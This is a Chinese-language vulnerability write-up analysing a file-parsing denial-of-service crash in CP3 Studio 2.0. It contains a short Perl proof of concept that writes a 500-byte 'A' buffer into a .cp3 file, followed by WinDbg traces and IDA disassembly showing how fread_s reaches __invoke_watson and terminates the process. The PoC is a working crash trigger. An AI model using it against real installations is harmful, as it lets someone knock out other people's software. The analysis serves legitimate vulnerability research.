CP3 Studio PC异常处理函数拒绝服务漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/916b045a5cd8d7a0730ac270be23071c-cp3studio_setup.exe

PoC:

#!/usr/bin/perl
print "|------------------------------------------------------------------|\n";
print "|                         __               __                      |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] Vocoo CP3 Studio 2.0 Dos. . .\n\n";
sleep(2);
my $play = "tunes.cp3";
 
my $buffer = "\x41" x 500;
 
open(FILE,">$play");
print FILE $buffer;
close(FILE);
 
print "[+] Music Provided by chap0 visit www.corelan.be:8800\n";

测试环境:
windows xp sp3

可以直接用linux下的perl生成一个cp3文件,之后通过CP3 Studio PC打开,会触发程序崩溃。


漏洞复现


此漏洞是在CP3 Studio软件中,对于文件读取的处理函数fread_s中专设置了对异常情况的检测,当出现异常指针,缓冲区溢出等情况时,会进入异常行为处理函数__invalid_parameter,但问题在于fread_s为自定函数,并非系统dll中安全函数read_s,所处理机制不太一样,在此函数中,会调用__invoke_watson,从而使程序终止。那么利用异常的cp3文件,即可触发这个异常行为函导致程序中断,in下面对此漏洞进行详细分析。

首先生成一个样本文件,打开cp3 studio,打开样本文件,程序崩溃,附加windbg

eax=7ffd4000 ebx=00000004 ecx=00125e60 edx=7c92e4f4 esi=00000001 edi=41414141
eip=7c92e4f4 esp=001260cc ebp=001260dc iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!KiFastSystemCallRet:
7c92e4f4 c3              ret

可以看到,直接到了KiFastSystemCallRet,这时强制终止进程调用的函数,我们通过kb查看一下堆栈调用。

0:000> kb
*** WARNING: Unable to verify checksum for C:\Program Files\Incorep\CP3Studio\Cp3Studio.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Incorep\CP3Studio\Cp3Studio.exe
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
001260dc 00440163 ffffffff c000000d 00000000 ntdll!KiFastSystemCallRet
00126178 7c930ee4 7c931066 7c9301bb 00001000 Cp3Studio+0x40163
00000000 00000000 00000000 00000000 00000000 ntdll!wcsncpy+0x985

进入程序领空地址00440163看一下函数。

.text:00440151 loc_440151:                             ; CODE XREF: __invoke_watson+C6j
.text:00440151                                         ; __invoke_watson+CAj
.text:00440151                 push    0C000000Dh      ; uExitCode
.text:00440156                 call    ds:GetCurrentProcess
.text:0044015C                 push    eax             ; hProcess
.text:0044015D                 call    ds:TerminateProcess
.text:00440163                 mov     ecx, [ebp+2A8h+var_4]

调用了TerminateProcess强制终止进程函数,而此loc位于__invoke_watson这个程序自定义函数中,那么我们就由此入手来看一下为什么会造成程序中止。


漏洞分析


此漏洞我们仍然不能从__invoke_watson函数入手,到达此函数时程序已经进入程序自己的异常处理函数了,我打算用正向定位关键点的方法分析这个漏洞。

首先此文件读取肯定伴随着程序打开的操作,那么我在fopen下断点即可,用ida找到系统自定义的fopen函数的位置。

.text:00440ACC ; FILE *__cdecl fopen(const char *, const char *)
.text:00440ACC _fopen          proc near               ; CODE XREF: sub_4991C0+109_x0019_p
.text:00440ACC
.text:00440ACC arg_0           = dword ptr  4
.text:00440ACC arg_4           = dword ptr  8
.text:00440ACC
.text:00440ACC                 push    40h             ; int
.text:00440ACE                 push    [esp+4+arg_4]   ; char *
.text:00440AD2                 push    [esp+8+arg_0]   ; char *
.text:00440AD6                 call    __fsopen
.text:00440ADB                 add     esp, 0Ch
.text:00440ADE                 retn
.text:00440ADE _fopen          endp

在00440ACC位置下断点,重新加载程序,程序中断。

0:003> bp 00440ACC
*** WARNING: Unable to verify checksum for C:\Program Files\Incorep\CP3Studio\Cp3Studio.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Incorep\CP3Studio\Cp3Studio.exe
0:003> g
ModLoad: 76d70000 76d92000   C:\WINDOWS\system32\appHelp.dll
ModLoad: 76590000 765de000   C:\WINDOWS\System32\cscui.dll
ModLoad: 76570000 7658c000   C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 75ef0000 75fed000   C:\WINDOWS\system32\browseui.dll
ModLoad: 76960000 76984000   C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76af0000 76b01000   C:\WINDOWS\system32\ATL.DLL
ModLoad: 7e550000 7e6c1000   C:\WINDOWS\system32\shdocvw.dll
ModLoad: 75430000 754a1000   C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76f30000 76f5c000   C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 017d0000 01d19000   C:\WINDOWS\system32\xpsp2res.dll
Breakpoint 0 hit
eax=001265d0 ebx=004b1fb0 ecx=00ac4c58 edx=001265d0 esi=004e204f edi=0012a13b
eip=00440acc esp=00126484 ebp=0012650c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Cp3Studio+0x40acc:
00440acc 6a40            push    40h

通过kb,我们可以回溯到之前调用的位置。

.text:004817FB loc_4817FB:                             ; CODE XREF: sub_4812C0+9Ej
.text:004817FB                 push    offset a_cp3_1  ; ".cp3"
.text:00481800                 mov     ecx, [ebp+var_14]
.text:00481803                 push    ecx             ; char *
.text:00481804                 call    __stricmp
.text:00481809                 add     esp, 8
.text:0048180C                 test    eax, eax
.text:0048180E                 jnz     loc_481ACA
.text:00481814                 lea     ecx, [ebp+var_3A48]
.text:0048181A                 call    sub_498EF0
.text:0048181F                 mov     [ebp+var_4], 0Bh
.text:00481826                 mov     edx, [ebp+lpFileName]
.text:00481829                 push    edx             ; char *
.text:0048182A                 lea     ecx, [ebp+var_3A48]
.text:00481830                 call    sub_4991C0

分析一下这段汇编代,在00481804地址的位置,程序会对打开文件的扩展名进行一次比对,只打开cp3结尾的文件,接下来在00481830处调用了sub_4991c0这个函数,此函数就是漏洞函数,跟入这个函数。

.text:004992C0                 push    offset aRb_4    ; "rb"
.text:004992C5                 mov     ecx, [ebp+arg_0]
.text:004992C8                 push    ecx             ; char *
.text:004992C9                 call    _fopen

004992c9地址就是刚才下fopen断点的外层调用,我们在外层调用下断点,重新附加程序继续跟踪。

Breakpoint 0 hit
eax=001265d0 ebx=004b1fb0 ecx=00ac4c58 edx=001265d0 esi=004e204f edi=0012a13b
eip=004992c9 esp=00126488 ebp=0012650c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Cp3Studio+0x992c9:
004992c9 e8fe77faff      call    Cp3Studio+0x40acc (00440acc)

0:000> dc 00ac4c58
00ac4c58  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00ac4c68  74655320 676e6974 64415c73 696e696d   Settings\Admini
00ac4c78  61727473 5c726f74 70632e77 00640033  strator\w.cp3.d

在fopen处执行了对样本文件的打开操作,接下来。

0:000> p
eax=001265d0 ebx=004b1fb0 ecx=00ac9dc8 edx=41414141 esi=004e204f edi=0012a13b
eip=00499368 esp=00126484 ebp=0012650c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Cp3Studio+0x99368:
00499368 8b510c          mov     edx,dword ptr [ecx+0Ch] ds:0023:00ac9dd4=018d0020
0:000> p
eax=001265d0 ebx=004b1fb0 ecx=00ac9dc8 edx=018d0020 esi=004e204f edi=0012a13b
eip=0049936b esp=00126484 ebp=0012650c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Cp3Studio+0x9936b:
0049936b 52              push    edx
0:000> p
eax=001265d0 ebx=004b1fb0 ecx=00ac9dc8 edx=018d0020 esi=004e204f edi=0012a13b
eip=0049936c esp=00126480 ebp=0012650c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Cp3Studio+0x9936c:
0049936c e84666faff      call    Cp3Studio+0x3f9b7 (0043f9b7)
0:000> p
WARNING: Step/trace thread exited
eax=7ffde000 ebx=00000004 ecx=00125e60 edx=7c92e4f4 esi=00000001 edi=41414141
eip=7c92e4f4 esp=001260cc ebp=001260dc iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!KiFastSystemCallRet:
7c92e4f4 c3              ret

可以看到在0049936c地址的调用步过到达程序终止位置,我们查看一下这个位置的调用函数。

.text:004993D7                 mov     ecx, [ebp+var_74]
.text:004993DA                 mov     [ecx+3948h], eax
.text:004993E0                 mov     edx, [ebp+var_18]
.text:004993E3                 push    edx             ; FILE *
.text:004993E4                 mov     eax, [ebp+var_74]
.text:004993E7                 mov     ecx, [eax+394Ch]
.text:004993ED                 push    ecx             ; size_t
.text:004993EE                 push    1               ; size_t
.text:004993F0                 mov     edx, [ebp+var_74]
.text:004993F3                 mov     eax, [edx+3948h]
.text:004993F9                 push    eax             ; void *
.text:004993FA                 call    _fread

进入fread我们看一下系统是如何定义这个函数的。

.text:0043F9B7 ; size_t __cdecl fread(void *, size_t, size_t, FILE *)
.text:0043F9B7 _fread          proc near               ; CODE XREF: sub_4121C0+Dp
.text:0043F9B7                                         ; sub_4121C0+1Ep ...
.text:0043F9B7
.text:0043F9B7 DstBuf          = dword ptr  4
.text:0043F9B7 ElementSize     = dword ptr  8
.text:0043F9B7 Count           = dword ptr  0Ch
.text:0043F9B7 File            = dword ptr  10h
.text:0043F9B7
.text:0043F9B7                 push    [esp+File]      ; File
.text:0043F9BB                 push    [esp+4+Count]   ; Count
.text:0043F9BF                 push    [esp+8+ElementSize] ; ElementSize
.text:0043F9C3                 push    0FFFFFFFFh      ; DstSize
.text:0043F9C5                 push    [esp+10h+DstBuf] ; DstBuf
.text:0043F9C9                 call    _fread_s
.text:0043F9CE                 add     esp, 14h
.text:0043F9D1                 retn
.text:0043F9D1 _fread          endp

关键在于fread_s中,我们继续跟入这个函数。

这个函数中有一处异常处理。

.text:0043F91B loc_43F91B:                             ; CODE XREF: _fread_s+7A_x0019_j
.text:0043F91B                                         ; _fread_s+88_x0019_j
.text:0043F91B                 call    __errno
.text:0043F920                 mov     dword ptr [eax], 16h
.text:0043F926                 push    esi
.text:0043F927                 push    esi
.text:0043F928                 push    esi
.text:0043F929                 push    esi
.text:0043F92A                 push    esi
.text:0043F92B                 call    __invalid_parameter

当进这个异常处理时,就会到达我们之前分析到的invoke_watson函数位置。

.text:0043F91B loc_43F91B:                             ; CODE XREF: _fread_s+7A_x0019_j
.text:0043F91B                                         ; _fread_s+88_x0019_j
.text:0043F91B                 call    __errno
.text:0043F920                 mov     dword ptr [eax], 16h
.text:0043F926                 push    esi
.text:0043F927                 push    esi
.text:0043F928                 push    esi
.text:0043F929                 push    esi
.text:0043F92A                 push    esi
.text:0043F92B                 call    __invalid_parameter

通过windbg,可以跟踪到这一问题发生的始末,首先是在最外层。

0:000> bp 0049936c
0:000> g
Breakpoint 4 hit
eax=001265d0 ebx=004b1fb0 ecx=00ac9dc8 edx=018d0020 esi=004e204f edi=0012a13b
eip=0049936c esp=00126480 ebp=0012650c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Cp3Studio+0x9936c:
0049936c e84666faff      call    Cp3Studio+0x3f9b7 (0043f9b7)
0:000> dd ecx
00ac9dc8  41414141 41414141 41414141 018d0020
00ac9dd8  00030004 00080177 001a29c8 ffffffff
00ac9de8  00000000 00000000 00000000 00000000
00ac9df8  00040201 00080173 41414141 41414141
00ac9e08  41414141 41414141 41414141 41414141
00ac9e18  41414141 41414141 41414141 41414141

接下来栈中存放指针的位置会被覆盖,导edi指针寄存器获取信息异常。

0:000> p
eax=00126450 ebx=00000004 ecx=00ac9dc8 edx=018d0020 esi=00000000 edi=0012a13b
eip=0043f908 esp=00126434 ebp=00126460 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Cp3Studio+0x3f908:
0043f908 8b7d14          mov     edi,dword ptr [ebp+14h] ss:0023:00126474=41414141
0:000> p
eax=00126450 ebx=00000004 ecx=00ac9dc8 edx=018d0020 esi=00000000 edi=41414141
eip=0043f90b esp=00126434 ebp=00126460 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Cp3Studio+0x3f90b:
0043f90b 3bfe            cmp     edi,esi

最后进入异常函数处理。

0:000> p
eax=00ac1e98 ebx=00000004 ecx=00000000 edx=00000003 esi=00000000 edi=41414141
eip=0043f92b esp=00126420 ebp=00126460 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Cp3Studio+0x3f92b:
0043f92b e849080000      call    Cp3Studio+0x40179 (00440179)
0:000> p
WARNING: Step/trace thread exited
eax=7ffd9000 ebx=00000004 ecx=00125e60 edx=7c92e4f4 esi=00000001 edi=41414141
eip=7c92e4f4 esp=001260cc ebp=001260dc iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!KiFastSystemCallRet:
7c92e4f4 c3              ret
Comments
Write a Comment